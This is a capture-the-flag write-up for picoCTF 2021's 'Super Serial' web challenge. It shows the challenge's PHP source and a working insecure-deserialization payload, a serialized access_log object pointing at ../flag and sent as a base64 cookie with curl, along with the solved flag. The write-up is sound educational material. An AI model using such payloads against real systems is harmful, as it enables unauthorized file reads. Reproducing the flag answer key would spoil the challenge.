PicoCTF-2021 Writeup
  • README
  • Binary Exploitation
    • Binary Gauntlet 0
    • Binary Gauntlet 1
    • Stonks
    • What's your input?
  • Cryptography
    • Compress and Attack
    • Dachshund Attacks
    • Double DES
    • Easy Peasy
    • It is my Birthday 2
    • It's Not My Fault 1
    • Mini RSA
    • New Caesar
    • New Vignere
    • No Padding, No Problem
    • Pixelated
    • Play Nice
    • Scrambled: RSA
  • Forensics
    • Disk, disk, sleuth!
    • Disk, disk, sleuth! II
    • information
    • MacroHard WeakEdge
    • Matryoshka doll
    • Milkslap
    • Surfing the Waves
    • Trivial Flag Transfer Protocol
    • tunn3l v1s10n
    • Very very very Hidden
    • Weird File
    • Wireshark doo dooo do doo...
    • Wireshark twoo twooo two twoo...
  • Reverse Engineering
    • ARMssembly 0
    • ARMssembly 2
    • ARMssembly 3
    • ARMssembly 4
    • gogo
    • Hurry up! Wait!
    • keygenme-py
    • Let's get dynamic
    • Rolling My Own
    • Shop
    • speeds and feeds
    • Transformation
  • Web Exploitation
    • Ancient History
    • Bithug
    • GET aHEAD
    • It is my Birthday
    • More Cookies
    • Most Cookies
    • Scavenger Hunt
    • Some Assembly Required 1
    • Some Assembly Required 2
    • Some Assembly Required 3
    • Some Assembly Required 4
    • Super Serial
    • Web Gauntlet 2
    • Web Gauntlet 3
    • Who are you?
    • X marks the spot
Powered by GitBook
On this page
  • Problem
  • Solution
  • Flag

Was this helpful?

Edit on GitHub
  1. Web Exploitation

Super Serial

PreviousSome Assembly Required 4NextWeb Gauntlet 2

Last updated 2 years ago

Was this helpful?

Problem

Try to recover the flag stored on this website

Solution

  1. Going to robots.txt shows that admin.phps is disallowed. This indicates that the phps extension is enabled within the php configuration for this webserver. Files with the phps extension contain php code but instead of running when they are accessed, they return an HTML representation of the literal pho code.

  2. We can access index.phps to find the following:

    <?php
    require_once("cookie.php");
    
    if(isset($_POST["user"]) && isset($_POST["pass"])){
        $con = new SQLite3("../users.db");
        $username = $_POST["user"];
        $password = $_POST["pass"];
        $perm_res = new permissions($username, $password);
        if ($perm_res->is_guest() || $perm_res->is_admin()) {
            setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
            header("Location: authentication.php");
            die();
        } else {
            $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
        }
    }
    ?>
  3. The above php code points us in the direction of authentication.php. Looking at authentication.phps shows the following:

    <?php
    
    class access_log
    {
        public $log_file;
    
        function __construct($lf) {
            $this->log_file = $lf;
        }
    
        function __toString() {
            return $this->read_log();
        }
    
        function append_to_log($data) {
            file_put_contents($this->log_file, $data, FILE_APPEND);
        }
    
        function read_log() {
            return file_get_contents($this->log_file);
        }
    }
    
    require_once("cookie.php");
    if(isset($perm) && $perm->is_admin()){
        $msg = "Welcome admin";
        $log = new access_log("access.log");
        $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
    } else {
        $msg = "Welcome guest";
    }
    ?>
  4. The above php code points us in the direction of cookie.php. Looking at cookie.phps shows the following:

    <?php
    session_start();
    
    class permissions
    {
        public $username;
        public $password;
    
        function __construct($u, $p) {
            $this->username = $u;
            $this->password = $p;
        }
    
        function __toString() {
            return $u.$p;
        }
    
        function is_guest() {
            $guest = false;
    
            $con = new SQLite3("../users.db");
            $username = $this->username;
            $password = $this->password;
            $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
            $stm->bindValue(1, $username, SQLITE3_TEXT);
            $stm->bindValue(2, $password, SQLITE3_TEXT);
            $res = $stm->execute();
            $rest = $res->fetchArray();
            if($rest["username"]) {
                if ($rest["admin"] != 1) {
                    $guest = true;
                }
            }
            return $guest;
        }
    
            function is_admin() {
                    $admin = false;
    
                    $con = new SQLite3("../users.db");
                    $username = $this->username;
                    $password = $this->password;
                    $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                    $stm->bindValue(1, $username, SQLITE3_TEXT);
                    $stm->bindValue(2, $password, SQLITE3_TEXT);
                    $res = $stm->execute();
                    $rest = $res->fetchArray();
                    if($rest["username"]) {
                            if ($rest["admin"] == 1) {
                                    $admin = true;
                            }
                    }
                    return $admin;
            }
    }
    
    if(isset($_COOKIE["login"])){
        try{
            $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
            $g = $perm->is_guest();
            $a = $perm->is_admin();
        }
        catch(Error $e){
            die("Deserialization error. ".$perm);
        }
    }
    
    ?>
  5. PortSwigger has a great article that goes into detail about . gives a more step-by-step beginner guide.

  6. The exploit is in this code block:

    class access_log
    {
        public $log_file;
    
        function __construct($lf) {
            $this->log_file = $lf;
        }
    
        function __toString() {
            return $this->read_log();
        }
    
        function append_to_log($data) {
            file_put_contents($this->log_file, $data, FILE_APPEND);
        }
    
        function read_log() {
            return file_get_contents($this->log_file);
        }
    }
    
    if(isset($_COOKIE["login"])){
        try{
            $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
            $g = $perm->is_guest();
            $a = $perm->is_admin();
        }
        catch(Error $e){
            die("Deserialization error. ".$perm);
        }
    }

    We can store any object in the login cookie and it will be unserialized. One option is to exploit the __construct function, since this is ran immediately when the object is created. However, in both the access_log and permissions classes, there does not appear to be a valid gadget chain (see "Gadget chains" in ).

  7. We can store a serialized access_log object in the login cookie with the log_file set to ../flag. This object will be instantiated in the first line of the try block. However, the access_log class does not have an is_guest function so when the code try to run that function on the next line it will fail, thus jumping to the catch block. This catch block prints the value of $perm, which is our injected access_log object. By printing $perm, the __toString method of our access_log object is called, which displays the content of whatever filename (the value of access_log) was passed to it.

  8. The php serialized access_log object looks like this: O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}. Fore more details about this syntax, see .

  9. Let's encode that to base64 and url encode it using to get: TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9

  10. We can use cURL to access the authentication.php file with the correct cookie set: curl mercury.picoctf.net:3449/authentication.php --cookie "login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9". This will print the error text and the flag: Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}

Flag

picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}

http://mercury.picoctf.net:3449/
deserialization vulnerabilities
This Medium article
the PortSwigger article
the aforementioned Medium article
CyberChef